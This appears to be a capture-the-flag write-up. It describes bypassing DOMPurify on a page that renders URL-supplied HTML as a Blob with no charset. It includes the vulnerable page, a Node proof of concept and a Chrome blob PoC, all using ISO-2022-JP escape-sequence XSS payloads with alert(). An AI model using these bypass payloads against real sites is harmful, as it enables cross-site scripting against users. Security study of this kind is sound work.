<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.4/dist/purify.min.js"></script>
<script>
function getQueryParam(name) {
const params = new URLSearchParams(window.location.search);
return params.get(name);
}
const htmlContent = getQueryParam('html');
if (htmlContent) {
sanitized = DOMPurify.sanitize(htmlContent)
var blob = new Blob([sanitized], {
type: "text/html"
});
location=window.URL.createObjectURL(blob);
} else {
console.log('......')
}
</script>
Checking for the Dompurify version.
Application uses the latest version of DOMPurify, so the version is not vulnerable to any CVE's.
Applications parse the HTML input and make it in the blob.
DOMPurify will strip out everything that contains dangerous HTML and thereby prevent XSS attacks.
DOMPurify Strips dangerous HTML<img src='x' onerror=alert(1)/> to the <img src='x'>. So, we can't able to popup the XSS.
sanitized = DOMPurify.sanitize(htmlContent)
var blob = new Blob([sanitized], {
type: "text/html"
});
In the field, they didn't include charset.
The charset attribute tells the browser that UTF-8 was used to encode the HTTP response body. A character encoding like UTF-8 defines a mapping between characters and bytes. When a web server serves an HTML document, it maps the characters of the document to the corresponding bytes and transmits these in the HTTP response body. This process turns characters into bytes (encode).
Three common ways that a browser uses to determine the character encoding of an HTML document, ordered by priority:
Byte-Order Mark at the beginning of the HTML document
charset attribute in the Content-Type header
<meta> tag in the HTML document
If no charset is provided in the response Content-Type header,Use Byte Order Mark to bypass DOMPurify.
const createDOMPurify = require("dompurify");
const { JSDOM } = require("jsdom");
const http = require("http");
const express = require('express');
const app = express();
const port = 3000;
Â
app.get('/vulnerable', (req, res) => {
  const window = new JSDOM("").window;
  const DOMPurify = createDOMPurify(window);
  const clean = DOMPurify.sanitize('<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>');
Â
  res.statusCode = 200;
  res.setHeader("Content-Type", "text/html");
  res.end(clean);
});
Â
app.listen(port, () => {
  console.log(`ReDoS Vulnerability app listening at http://localhost:${port}`);
});
Run this POC in locally:
The XSS poped up properly, so trying the same payload in the challenge.
Payload breaks our payload not escapes properly and not converted as Japanese language like happened in local.
While checking the charset of the blob.
Charset is in default windows-1252.
A single occurrence of one of these escape sequences is usually enough to convince the auto-detection algorithm that the HTTP response body is encoded with ISO-2022-JP.
Change the charset using the escape sequence.
Now the Charset changed to ISO-2022-JP.
So change the payload \x1b(B to %1b(B so we can escape it.
While looking for this challenge, read about the similar issue in the chromium.
var blob = new Blob([`This content should be decoded using UTF-8`], {
type: "text/html;charset=utf-8"//this charset should be respected
});
If blob has a type attribute of text/plain;charset=utf-8 then getting an encoding is run using "utf-8" as the label. Note that user agents must parse and extract the portion of the Charset Parameter that constitutes a label of an encoding.
Chrome ignores the charset specified in the type attribute. This behavior could introduce XSS via the charset auto-detection.
POC:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
var blob = new Blob([`aaa\u001B$@<textarea>\u001B(B<script>alert('xss');alert(document.charset)<\/script></textarea>bbb`], {
type: "text/html;charset=utf-8"//this charset should be used
});
location=window.URL.createObjectURL(blob);
</script>
</body>
</html>
Chrome vulnerable version:
Version 85.0.4156.0 (Official Build) canary (64-bit)
POC:
Chrome ignores the type attribute's charset and auto-detects it from the Blob content. If auto-detected as "ISO-2022-JP" instead of UTF-8, decoding differences cause unexpected HTML rendering, executing JavaScript instead of displaying a textarea with "<script>".